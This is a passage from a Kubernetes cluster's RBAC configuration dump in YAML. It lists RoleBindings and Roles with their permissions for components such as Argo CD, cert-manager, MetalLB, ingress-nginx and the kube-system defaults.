    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:18Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system::leader-locking-kube-scheduler
    namespace: kube-system
    resourceVersion: "233"
    uid: 56b4250b-2a99-490e-a61b-1e5d0a935bf3
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: system::leader-locking-kube-scheduler
  subjects:
  - apiGroup: rbac.authorization.k8s.io
    kind: User
    name: system:kube-scheduler
  - kind: ServiceAccount
    name: kube-scheduler
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:18Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:bootstrap-signer
    namespace: kube-system
    resourceVersion: "234"
    uid: 3486a9ff-1355-4fdf-af84-203add780135
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: system:controller:bootstrap-signer
  subjects:
  - kind: ServiceAccount
    name: bootstrap-signer
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:18Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:cloud-provider
    namespace: kube-system
    resourceVersion: "235"
    uid: 445eb2ea-562a-4399-84eb-4e57eff3d93d
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: system:controller:cloud-provider
  subjects:
  - kind: ServiceAccount
    name: cloud-provider
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:18Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:token-cleaner
    namespace: kube-system
    resourceVersion: "236"
    uid: 83dc19f9-a103-4a44-bc83-0384b95d4c56
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: system:controller:token-cleaner
  subjects:
  - kind: ServiceAccount
    name: token-cleaner
    namespace: kube-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/part-of: kubernetes-dashboard
      helm.sh/chart: kubernetes-dashboard-7.13.0
    name: kubernetes-dashboard-api
    namespace: kubernetes-dashboard
    resourceVersion: "417225"
    uid: 8fcf14f1-de66-4c49-95a5-078f4ce94473
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: kubernetes-dashboard-api
  subjects:
  - kind: ServiceAccount
    name: kubernetes-dashboard-api
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/part-of: kubernetes-dashboard
      helm.sh/chart: kubernetes-dashboard-7.13.0
    name: kubernetes-dashboard-web
    namespace: kubernetes-dashboard
    resourceVersion: "417226"
    uid: a3b83ca1-d882-4dab-a9b8-6235939da0ea
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: kubernetes-dashboard-web
  subjects:
  - kind: ServiceAccount
    name: kubernetes-dashboard-web
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    labels:
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metallb
      app.kubernetes.io/version: v0.15.2
      helm.sh/chart: metallb-0.15.2
    name: metallb-controller
    namespace: metallb-system
    resourceVersion: "57868"
    uid: 4bf14b06-6d41-43e8-a4ca-3fd4686916e0
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: metallb-controller
  subjects:
  - kind: ServiceAccount
    name: metallb-controller
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    labels:
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metallb
      app.kubernetes.io/version: v0.15.2
      helm.sh/chart: metallb-0.15.2
    name: metallb-pod-lister
    namespace: metallb-system
    resourceVersion: "57869"
    uid: b3b1ea9c-c054-4e8d-a1b2-659b7b92f056
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: Role
    name: metallb-pod-lister
  subjects:
  - kind: ServiceAccount
    name: metallb-speaker
- apiVersion: rbac.authorization.k8s.io/v1
  kind: RoleBinding
  metadata:
    creationTimestamp: "2025-10-19T16:11:25Z"
    labels:
      k8s-app: tigera-operator
    name: tigera-operator-secrets
    namespace: tigera-operator
    resourceVersion: "6820848"
    uid: 33615b5c-d67d-46bb-88e5-454b1681b1da
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: tigera-operator-secrets
  subjects:
  - kind: ServiceAccount
    name: tigera-operator
    namespace: tigera-operator
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:15Z"
    labels:
      app.kubernetes.io/component: application-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-application-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-application-controller
    namespace: argocd
    resourceVersion: "74976"
    uid: d2a3afc5-f53b-42b8-9194-6e3472be9d55
  rules:
  - apiGroups:
    - ""
    resources:
    - secrets
    - configmaps
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - argoproj.io
    resources:
    - applications
    - applicationsets
    - appprojects
    verbs:
    - create
    - get
    - list
    - watch
    - update
    - patch
    - delete
  - apiGroups:
    - ""
    resources:
    - events
    verbs:
    - create
    - list
  - apiGroups:
    - apps
    resources:
    - deployments
    verbs:
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:15Z"
    labels:
      app.kubernetes.io/component: applicationset-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-applicationset-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-applicationset-controller
    namespace: argocd
    resourceVersion: "74975"
    uid: 44ba270d-1f0e-482c-9d8f-b1b8fe4ee439
  rules:
  - apiGroups:
    - argoproj.io
    resources:
    - applications
    - applicationsets
    - applicationsets/finalizers
    verbs:
    - create
    - delete
    - get
    - list
    - patch
    - update
    - watch
  - apiGroups:
    - argoproj.io
    resources:
    - applicationsets/status
    verbs:
    - get
    - patch
    - update
  - apiGroups:
    - argoproj.io
    resources:
    - appprojects
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - events
    verbs:
    - create
    - get
    - list
    - patch
    - watch
  - apiGroups:
    - ""
    resources:
    - configmaps
    verbs:
    - create
    - update
    - delete
    - get
    - list
    - patch
    - watch
  - apiGroups:
    - ""
    resources:
    - secrets
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - apps
    - extensions
    resources:
    - deployments
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - coordination.k8s.io
    resources:
    - leases
    verbs:
    - create
    - delete
    - get
    - list
    - patch
    - update
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:15Z"
    labels:
      app.kubernetes.io/component: dex-server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-dex-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-dex-server
    namespace: argocd
    resourceVersion: "74980"
    uid: 0d41c191-9008-4def-99d1-158070deac19
  rules:
  - apiGroups:
    - ""
    resources:
    - secrets
    - configmaps
    verbs:
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:15Z"
    labels:
      app.kubernetes.io/component: notifications-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-notifications-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-notifications-controller
    namespace: argocd
    resourceVersion: "74979"
    uid: 74fd1d9f-00d5-4a53-a14a-ccd4eb66ccb5
  rules:
  - apiGroups:
    - argoproj.io
    resources:
    - applications
    - appprojects
    verbs:
    - get
    - list
    - watch
    - update
    - patch
  - apiGroups:
    - ""
    resources:
    - configmaps
    - secrets
    verbs:
    - list
    - watch
  - apiGroups:
    - ""
    resourceNames:
    - argocd-notifications-cm
    resources:
    - configmaps
    verbs:
    - get
  - apiGroups:
    - ""
    resourceNames:
    - argocd-notifications-secret
    resources:
    - secrets
    verbs:
    - get
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      helm.sh/hook: pre-install,pre-upgrade
      helm.sh/hook-delete-policy: before-hook-creation
    creationTimestamp: "2025-09-21T20:14:39Z"
    labels:
      app.kubernetes.io/component: redis-secret-init
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-redis-secret-init
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-redis-secret-init
    namespace: argocd
    resourceVersion: "74833"
    uid: 8e446f7e-db1c-4917-b4fe-aa2c1d2f4e6c
  rules:
  - apiGroups:
    - ""
    resourceNames:
    - argocd-redis
    resources:
    - secrets
    verbs:
    - get
  - apiGroups:
    - ""
    resources:
    - secrets
    verbs:
    - create
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:15Z"
    labels:
      app.kubernetes.io/component: repo-server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-repo-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-repo-server
    namespace: argocd
    resourceVersion: "74978"
    uid: cf92b783-e22d-4d46-9467-078972f8abb0
  rules: null
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:15Z"
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-server
    namespace: argocd
    resourceVersion: "74977"
    uid: 50299d8b-6cd8-48a6-b4c1-0bf18d3bc8fd
  rules:
  - apiGroups:
    - ""
    resources:
    - secrets
    - configmaps
    verbs:
    - create
    - get
    - list
    - watch
    - update
    - patch
    - delete
  - apiGroups:
    - argoproj.io
    resources:
    - applications
    - applicationsets
    - appprojects
    verbs:
    - create
    - get
    - list
    - watch
    - update
    - delete
    - patch
  - apiGroups:
    - ""
    resources:
    - events
    verbs:
    - create
    - list
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"rbac.authorization.k8s.io/v1","kind":"Role","metadata":{"annotations":{},"name":"customcontroller-role","namespace":"argocd"},"rules":[{"apiGroups":[""],"resources":["pods"],"verbs":["get","list","watch","delete"]},{"apiGroups":[""],"resources":["pods/ephemeralcontainers"],"verbs":["update","patch"]}]}
    creationTimestamp: "2025-09-27T18:31:13Z"
    name: customcontroller-role
    namespace: argocd
    resourceVersion: "1496560"
    uid: 49ae8997-8ace-4362-8c64-55d774e7d27f
  rules:
  - apiGroups:
    - ""
    resources:
    - pods
    verbs:
    - get
    - list
    - watch
    - delete
  - apiGroups:
    - ""
    resources:
    - pods/ephemeralcontainers
    verbs:
    - update
    - patch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    creationTimestamp: "2025-10-19T16:26:41Z"
    name: goldmane
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Goldmane
      name: default
      uid: 5994cdc7-d4c2-4413-bf3b-9967cd01464d
    resourceVersion: "6825269"
    uid: 6ae8d56a-9d46-4eab-9948-c68a1062527e
  rules:
  - apiGroups:
    - ""
    resources:
    - configmaps
    verbs:
    - get
    - list
    - watch
    - create
    - update
    - patch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-tokenrequest
    namespace: cert-manager
    resourceVersion: "220085"
    uid: 60e1799f-e475-4bda-8eeb-cc02240eac18
  rules:
  - apiGroups:
    - ""
    resourceNames:
    - cert-manager
    resources:
    - serviceaccounts/token
    verbs:
    - create
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: webhook
      app.kubernetes.io/component: webhook
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: webhook
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-webhook:dynamic-serving
    namespace: cert-manager
    resourceVersion: "220083"
    uid: 33abc05b-9c46-4602-b313-65bdb6f2e90d
  rules:
  - apiGroups:
    - ""
    resourceNames:
    - cert-manager-webhook-ca
    resources:
    - secrets
    verbs:
    - get
    - list
    - watch
    - update
  - apiGroups:
    - ""
    resources:
    - secrets
    verbs:
    - create
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      meta.helm.sh/release-name: nfs-subdir-external-provisioner
      meta.helm.sh/release-namespace: default
    creationTimestamp: "2025-09-26T00:42:52Z"
    labels:
      app: nfs-subdir-external-provisioner
      app.kubernetes.io/managed-by: Helm
      chart: nfs-subdir-external-provisioner-4.0.18
      heritage: Helm
      release: nfs-subdir-external-provisioner
    name: leader-locking-nfs-subdir-external-provisioner
    namespace: default
    resourceVersion: "977135"
    uid: 175181dd-9d8e-4aee-acba-4cbd1d907dd1
  rules:
  - apiGroups:
    - ""
    resources:
    - endpoints
    verbs:
    - get
    - list
    - watch
    - create
    - update
    - patch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      meta.helm.sh/release-name: grafana
      meta.helm.sh/release-namespace: grafana
    creationTimestamp: "2025-09-21T20:37:13Z"
    labels:
      app.kubernetes.io/instance: grafana
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: grafana
      app.kubernetes.io/version: 12.1.1
      helm.sh/chart: grafana-10.0.0
    name: grafana
    namespace: grafana
    resourceVersion: "78696"
    uid: 943f2265-31b2-4bd0-b711-cfa9bc435b10
  rules: null
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      meta.helm.sh/release-name: ingress-nginx
      meta.helm.sh/release-namespace: ingress-nginx
    creationTimestamp: "2025-09-21T19:03:27Z"
    labels:
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: ingress-nginx
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: ingress-nginx
      app.kubernetes.io/part-of: ingress-nginx
      app.kubernetes.io/version: 1.13.2
      helm.sh/chart: ingress-nginx-4.13.2
    name: ingress-nginx
    namespace: ingress-nginx
    resourceVersion: "64746"
    uid: 939d445b-0e6e-431e-a900-54e5389dcbe6
  rules:
  - apiGroups:
    - ""
    resources:
    - namespaces
    verbs:
    - get
  - apiGroups:
    - ""
    resources:
    - configmaps
    - pods
    - secrets
    - endpoints
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resources:
    - services
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - networking.k8s.io
    resources:
    - ingresses
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - networking.k8s.io
    resources:
    - ingresses/status
    verbs:
    - update
  - apiGroups:
    - networking.k8s.io
    resources:
    - ingressclasses
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - coordination.k8s.io
    resourceNames:
    - ingress-nginx-leader
    resources:
    - leases
    verbs:
    - get
    - update
  - apiGroups:
    - coordination.k8s.io
    resources:
    - leases
    verbs:
    - create
  - apiGroups:
    - ""
    resources:
    - events
    verbs:
    - create
    - patch
  - apiGroups:
    - discovery.k8s.io
    resources:
    - endpointslices
    verbs:
    - list
    - watch
    - get
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    creationTimestamp: "2025-09-21T11:09:18Z"
    name: kubeadm:bootstrap-signer-clusterinfo
    namespace: kube-public
    resourceVersion: "264"
    uid: 712af893-7d61-473e-8e7c-62ffedf7c2ca
  rules:
  - apiGroups:
    - ""
    resourceNames:
    - cluster-info
    resources:
    - configmaps
    verbs:
    - get
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:18Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:bootstrap-signer
    namespace: kube-public
    resourceVersion: "230"
    uid: 4622e3bd-eb2d-420b-b98c-d9333f8441ab
  rules:
  - apiGroups:
    - ""
    resources:
    - configmaps
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resourceNames:
    - cluster-info
    resources:
    - configmaps
    verbs:
    - update
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cainjector
      app.kubernetes.io/component: cainjector
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cainjector
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-cainjector:leaderelection
    namespace: kube-system
    resourceVersion: "220084"
    uid: 19579795-977e-4b93-bea9-736e079c4577
  rules:
  - apiGroups:
    - coordination.k8s.io
    resourceNames:
    - cert-manager-cainjector-leader-election
    - cert-manager-cainjector-leader-election-core
    resources:
    - leases
    verbs:
    - get
    - update
    - patch
  - apiGroups:
    - coordination.k8s.io
    resources:
    - leases
    verbs:
    - create
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager:leaderelection
    namespace: kube-system
    resourceVersion: "220086"
    uid: 044cfdfc-56b2-4194-b542-79db9fa30996
  rules:
  - apiGroups:
    - coordination.k8s.io
    resourceNames:
    - cert-manager-controller
    resources:
    - leases
    verbs:
    - get
    - update
    - patch
  - apiGroups:
    - coordination.k8s.io
    resources:
    - leases
    verbs:
    - create
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: extension-apiserver-authentication-reader
    namespace: kube-system
    resourceVersion: "224"
    uid: 38eaf8ba-4d7c-4ca8-9d7f-f7b89d0dd504
  rules:
  - apiGroups:
    - ""
    resourceNames:
    - extension-apiserver-authentication
    resources:
    - configmaps
    verbs:
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    creationTimestamp: "2025-09-21T11:09:20Z"
    name: kube-proxy
    namespace: kube-system
    resourceVersion: "302"
    uid: c3e42aec-6025-4e78-a854-b0c334dcbf88
  rules:
  - apiGroups:
    - ""
    resourceNames:
    - kube-proxy
    resources:
    - configmaps
    verbs:
    - get
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    creationTimestamp: "2025-09-21T11:09:18Z"
    name: kubeadm:kubeadm-certs
    namespace: kube-system
    resourceVersion: "254"
    uid: 0abebaeb-dfdf-4a1a-b436-8ea65afbcae1
  rules:
  - apiGroups:
    - ""
    resourceNames:
    - kubeadm-certs
    resources:
    - secrets
    verbs:
    - get
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    creationTimestamp: "2025-09-21T11:09:18Z"
    name: kubeadm:kubelet-config
    namespace: kube-system
    resourceVersion: "249"
    uid: 1dc6add7-3682-4c32-93f3-b3c69af8115b
  rules:
  - apiGroups:
    - ""
    resourceNames:
    - kubelet-config
    resources:
    - configmaps
    verbs:
    - get
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    creationTimestamp: "2025-09-21T11:09:18Z"
    name: kubeadm:nodes-kubeadm-config
    namespace: kube-system
    resourceVersion: "246"
    uid: 840d6bb2-af2c-4ebb-b14d-c55d1fed6135
  rules:
  - apiGroups:
    - ""
    resourceNames:
    - kubeadm-config
    resources:
    - configmaps
    verbs:
    - get
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:18Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system::leader-locking-kube-controller-manager
    namespace: kube-system
    resourceVersion: "228"
    uid: 7b0b1410-0b2b-4135-aabe-ef915269f58b
  rules:
  - apiGroups:
    - ""
    resources:
    - configmaps
    verbs:
    - watch
  - apiGroups:
    - ""
    resourceNames:
    - kube-controller-manager
    resources:
    - configmaps
    verbs:
    - get
    - update
  - apiGroups:
    - coordination.k8s.io
    resources:
    - leases
    verbs:
    - create
    - get
    - list
    - update
    - watch
  - apiGroups:
    - coordination.k8s.io
    resources:
    - leasecandidates
    verbs:
    - create
    - get
    - list
    - update
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:18Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system::leader-locking-kube-scheduler
    namespace: kube-system
    resourceVersion: "229"
    uid: 35d50f79-c90d-4318-8a77-57df4c5b492d
  rules:
  - apiGroups:
    - ""
    resources:
    - configmaps
    verbs:
    - watch
  - apiGroups:
    - ""
    resourceNames:
    - kube-scheduler
    resources:
    - configmaps
    verbs:
    - get
    - update
  - apiGroups:
    - coordination.k8s.io
    resources:
    - leases
    verbs:
    - create
    - get
    - list
    - update
    - watch
  - apiGroups:
    - coordination.k8s.io
    resources:
    - leasecandidates
    verbs:
    - create
    - get
    - list
    - update
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:bootstrap-signer
    namespace: kube-system
    resourceVersion: "225"
    uid: 28aa05b9-580d-4db9-9b5a-1fde09b69e63
  rules:
  - apiGroups:
    - ""
    resources:
    - secrets
    verbs:
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:17Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:cloud-provider
    namespace: kube-system
    resourceVersion: "226"
    uid: afcb2b4d-5690-4e8c-9457-057b12f8eebd
  rules:
  - apiGroups:
    - ""
    resources:
    - configmaps
    verbs:
    - create
    - get
    - list
    - watch
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      rbac.authorization.kubernetes.io/autoupdate: "true"
    creationTimestamp: "2025-09-21T11:09:18Z"
    labels:
      kubernetes.io/bootstrapping: rbac-defaults
    name: system:controller:token-cleaner
    namespace: kube-system
    resourceVersion: "227"
    uid: 0f3c698b-d624-4190-b104-90d143184871
  rules:
  - apiGroups:
    - ""
    resources:
    - secrets
    verbs:
    - delete
    - get
    - list
    - watch
  - apiGroups:
    - ""
    - events.k8s.io
    resources:
    - events
    verbs:
    - create
    - patch
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/part-of: kubernetes-dashboard
      helm.sh/chart: kubernetes-dashboard-7.13.0
    name: kubernetes-dashboard-api
    namespace: kubernetes-dashboard
    resourceVersion: "417224"
    uid: 4f71ff6a-b24a-41eb-9998-81aa27c33ea4
  rules:
  - apiGroups:
    - ""
    resourceNames:
    - kubernetes-dashboard-metrics-scraper
    - http:kubernetes-dashboard-metrics-scraper
    resources:
    - services/proxy
    verbs:
    - get
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      meta.helm.sh/release-name: kubernetes-dashboard
      meta.helm.sh/release-namespace: kubernetes-dashboard
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      app.kubernetes.io/instance: kubernetes-dashboard
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/part-of: kubernetes-dashboard
      helm.sh/chart: kubernetes-dashboard-7.13.0
    name: kubernetes-dashboard-web
    namespace: kubernetes-dashboard
    resourceVersion: "417223"
    uid: c0e54632-248a-4044-8d57-3f6acb809b1c
  rules:
  - apiGroups:
    - ""
    resourceNames:
    - kubernetes-dashboard-web-settings
    resources:
    - configmaps
    verbs:
    - get
    - update
- apiVersion: rbac.authorization.k8s.io/v1
  kind: Role
  metadata:
    annotations:
      meta.helm.sh/release-name: metallb
      meta.helm.sh/release-namespace: metallb-system
    creationTimestamp: "2025-09-21T18:13:53Z"
    labels:
      app.kubernetes.io/instance: metallb
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: metallb
      app.kubernetes.io/version: v0.15.2
      helm.sh/chart: metallb-0.15.2
    name: metallb-controller
    namespace: metallb-system
    resourceVersion: "57864"
    uid: 32345c87-c778-48e9-a173-720b006b7c5f
  rules:
  - apiGroups:
    - ""
    resources:
    - secrets
    verbs:
    - create
    - get
    - list
    - watch
  - apiGroups:
    - ""
    resourceNames:
    - metallb-memberlist
    resources:
    - secrets
    verbs:
    - list
  - apiGroups:
    - apps
    resourceNames:
    - metallb-controller
    resources:
    - deployments
    verbs:
    - get
  - apiGroups:
    - ""
    resources:
    - secrets
    verbs:
    - create
    - delete
    - get
    - list
    - patch
    - update
    - watch
  - apiGroups:
    - metallb.io
    resources:
    - ipaddresspools
    verbs:
    - get
    - list
    - watch
  - apiGroups:
    - metallb.io
    resources:
    - ipaddresspools/status
    verbs:
    - update
  - apiGroups:
    - metallb.io
    resources:
    - bgppeers
    verbs:
    - get
    - list
  - apiGroups:
    - metallb.io
    resources:
    - bgpadvertisements
    verbs:
    - get
    - list
  - apiGroups:
    - metallb.io
    resources:
    - l2advertisements
    verbs:
    - get
    - list
  - apiGroups:
    - metallb.io
    resources:
